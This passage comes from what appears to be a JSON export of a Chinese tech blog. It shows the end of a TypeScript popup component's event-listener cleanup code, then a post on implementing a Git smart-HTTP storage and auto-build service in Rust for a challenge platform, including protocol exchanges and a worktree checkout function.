class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Lifecycle\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eupdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enewArgs\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePopupSettings\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003enewArgs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003edestroy() {\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger Events\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseover\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseleave\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;blur\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Window Events\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;keydown\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2023_04_10_development_records/"},{"title":"实现一个基于Git的存储和自动构建服务","time":"2023-04-10T11:45:14+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在后端处理题目方面,我经过长时间思索,最后感觉整个模型就是一个 Git + CI/CD。出题人通过 Git 将题目部署上去,然后平台自动根据对应的 Checker 类型来执行构建操作,并根据构建结果来确认题目状态,在选手访问题目时,就可以直接提供服务。这样一来,整套题目服务系统就能够高度自动化运作,出题人只需要写好build脚本,设置一下题目相关的配置文件然后推送上去就可以了。\u003c/p\u003e\n\u003cp\u003e但是…… Rust下面没有能够直接提供远程Git服务的crate啊,有一个libgit2的绑定,libgit2本来就没有服务端功能;有一个gixoide,大部分功能还在alpha……\u003c/p\u003e\n\u003cp\u003e于是我根据\u003ca href=\"https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE\" target=\"_blank\" rel=\"noopener noreffer \"\u003eGit文档\u003c/a\u003e手撸了一份HTTP协议处理。好,接下来是另一个大问题,内部协议怎么办?我总不能从头开始实现一个git吧…… 遇事不决看看现有方案怎么做的。于是我打开了Gitea。Gitea告诉我,你可以 subprocess.popen(“git”) ……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"传输协议\"\u003e传输协议\u003c/h2\u003e\n\u003cp\u003e首先实现拉取与推送操作,这样出题人可以直接使用git和比赛平台上的仓库进行交互。根据\u003ca href=\"https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE\" target=\"_blank\" rel=\"noopener noreffer \"\u003eGit内部传输协议\u003c/a\u003e,一次远程交互过程从数据文件协商开始。以git-fetch为例,客户端首先向服务端发送一个 HTTP GET 请求:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e=\u0026gt; GET $GIT_URL/info/refs?service=git-upload-pack\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e001e# service=git-upload-pack\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e00e7ca82a6dff817ec66f44342007202690a93763949 HEAD multi_ack thin-pack \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e side-band side-band-64k ofs-delta shallow no-progress include-tag \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e multi_ack_detailed no-done symref=HEAD:refs/heads/master \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e agent=git/2:2.1.1+github-607-gfba4028\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e003fca82a6dff817ec66f44342007202690a93763949 refs/heads/master\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在第一次交互中,客户端向服务端请求数据文件列表,服务端会通过git-upload-pack进程查询仓库的状态,并将服务端拥有的数据对象以列表的形式组织起来,发送给客户端。第一行文件的末尾还会特殊附加上服务端所支持的特性列表。\u003c/p\u003e\n\u003cp\u003e在获取服务端的数据文件列表之后,客户端开始查询本地的仓库状态,对比服务端的数据对象列表和本地的差异,然后将其整合起来。整合完毕之后,客户端会向服务端发送第二个 HTTP POST 请求:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e=\u0026gt; POST $GIT_URL/git-upload-pack HTTP/1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0032want 0a53e9ddeaddad63ad106860237bbf53411d11a7\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0032have 441b40d833fdfa93eb2908e52742248faf0ee993\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在这个请求中客户端通过want和have提示词告诉服务器哪些文件是本地已经拥有的,哪些是需要服务端发送的。在协议的最后有一个 0000 作为协议结尾,提示服务器可以开始发送数据对象了。服务器接收完毕差异列表之后,就会开始压缩客户端所需要的数据对象,并在HTTP响应中将这些数据对象编码并传输给客户端。\u003c/p\u003e\n\u003cp\u003e客户端最终接收到了所需的数据对象,并将其解压到本地的数据对象数据库中,然后根据最后一次提交的“tree”信息将当前版本的数据对象检出到工作目录中。\u003c/p\u003e\n\u003cp\u003e比赛平台的Git实现主要关注在底层HTTP协议的支持上,平台负责将HTTP协议中的Git协议数据包提取出来,并以数据流的形式写入Git进程,然后将进程返回的二进制数据流写回到HTTP响应之中。Git服务所支持的额外特性则取决于服务器上的Git版本支持。\u003c/p\u003e\n\u003cp\u003e实现完毕Git传输协议之后,接下来需要将Git仓库中的当前版本文件检出到工作目录中,以便于后续持续集成/持续部署模块的工作。\u003c/p\u003e\n\u003cp\u003eGit仓库中的HEAD文件指向当前仓库的最新提交记录,可以从这里拿到提交记录所对应的tree,并通过这个tree所关联的数据对象来恢复工作区:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003echeckout_head\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e: \u003cspan class=\"nc\"\u003eimpl\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eAsRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003ePath\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eas_ref\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclone\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_index\u003c/span\u003e::\u003cspan class=\"n\"\u003eFile\u003c/span\u003e::\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;index\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSha1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eDefault\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eodb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix\u003c/span\u003e::\u003cspan class=\"n\"\u003eodb\u003c/span\u003e::\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;objects\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einto_inner\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einto_arc\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_outcome\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_worktree\u003c/span\u003e::\u003cspan class=\"n\"\u003echeckout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emove\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003eoid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eodb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e::\u003cspan class=\"n\"\u003eDiscard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e::\u003cspan class=\"n\"\u003eDiscard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eAtomicBool\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_worktree\u003c/span\u003e::\u003cspan class=\"n\"\u003echeckout\u003c/span\u003e::\u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoverwrite_existing\u003c/span\u003e: \u003cspan class=\"nc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e..\u003c/span\u003e\u003cspan 